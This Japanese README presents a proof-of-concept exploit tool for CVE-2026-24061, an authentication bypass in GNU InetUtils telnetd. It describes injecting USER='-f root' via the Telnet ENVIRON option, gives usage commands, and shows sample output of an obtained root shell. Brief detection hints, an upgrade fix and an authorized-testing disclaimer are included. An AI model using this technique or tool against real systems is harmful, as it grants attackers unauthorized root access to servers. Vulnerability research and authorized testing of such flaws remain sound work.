
CVE-2026-24061 のPoCエクスプロイト - GNU InetUtils telnetd 引数インジェクションによる認証バイパス
GNU InetUtils バージョン 1.9.3 から 2.7 は、telnetd サーバーにおけるリモート認証バイパス脆弱性の影響を受けます。telnetd デーモンは、login(1) プログラムにコマンドライン引数として渡す前に、USER 環境変数を適切にサニタイズできません。telnet クライアントがコマンドラインフラグ(-f root など)を含む USER 環境変数を送信すると、telnetd はこのサニタイズされていない値を直接 login プログラムに渡します。login ユーティリティは -f フラグを認証バイパスの指示として解釈し、攻撃者は資格情報を一切提供することなく不正に root アクセスを取得できます。
完全な Telnet プロトコル実装
DO、DONT、WILL、WONT のネゴシエーションを処理します。自動ペイロードインジェクション
USER=-f root インジェクションを含む細工された オプションペイロードを構築・送信します。ENVIRON対話型シェル
接続管理
詳細なデバッグ出力
python3 exploit.py <target> -p <port> [options]
| 引数 | 説明 |
|---|---|
target | ターゲットの IP アドレスまたはホスト名 |
| オプション | 説明 |
|---|---|
-p、--port | ターゲットポート(デフォルト: 23) |
-v、--verbose | 詳細なデバッグ出力を有効化 |
-t、--timeout | 接続タイムアウト(秒)(デフォルト: 5) |
-k、--keepalive | キープアライブ間隔(秒)(デフォルト: 30) |
-h、--help | ヘルプメッセージを表示 |
python3 exploit.py 192.168.1.100
python3 exploit.py 192.168.1.100 -p 2323 -v
python3 exploit.py 10.0.0.5 -p 2323 -k 60 -t 10
接続確立
プロトコルネゴシエーション
SGA、ECHO、ENVIRON)を処理します。ペイロード配信
WILL ENVIRON に続いて細工されたサブネゴシエーションペイロードを送信します。認証バイパス
-f root 引数が login(1) にインジェクションされ、資格情報チェックをバイパスします。対話型セッション
このエクスプロイトは、ENVIRON Telnet オプション(RFC 1572)を利用して、コマンドライン引数を USER 環境変数にインジェクションします。
telnetd がこのサニタイズされていない値を login -f root に渡すと、login プログラムは -f を認証バイパスを強制するフラグとして解釈し、パスワード検証なしで root アクセスを許可します。
エクスプロイトスクリプトは以下を実装しています:
WILL、WONT、DO、DONT)NOP コマンド$ python3 exploit.py 127.0.0.1 -p 2323
[!] Coded By: K3ysTr0K3R
[*] Telnet Authentication Bypass
[*] Connecting to 127.0.0.1:2323
[+] Connection established
[+] Exploit payload sent (19 bytes)
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
#
システム管理者は以下を監視することで、エクスプロイト試行を検出できます:
ENVIRON オプションネゴシエーションを実行する Telnet 接続。-f またはその他のコマンドラインフラグを含む USER 環境変数。GNU InetUtils バージョン 2.8 にアップグレードするか、login(1) に渡す前に環境変数をサニタイズする公式セキュリティパッチを適用してください。
この概念実証は、セキュリティ研究、脆弱性検証、および認可されたテスト環境のみを目的としています。セキュリティ評価の実施について明示的な許可を得たシステムに対してのみ使用してください。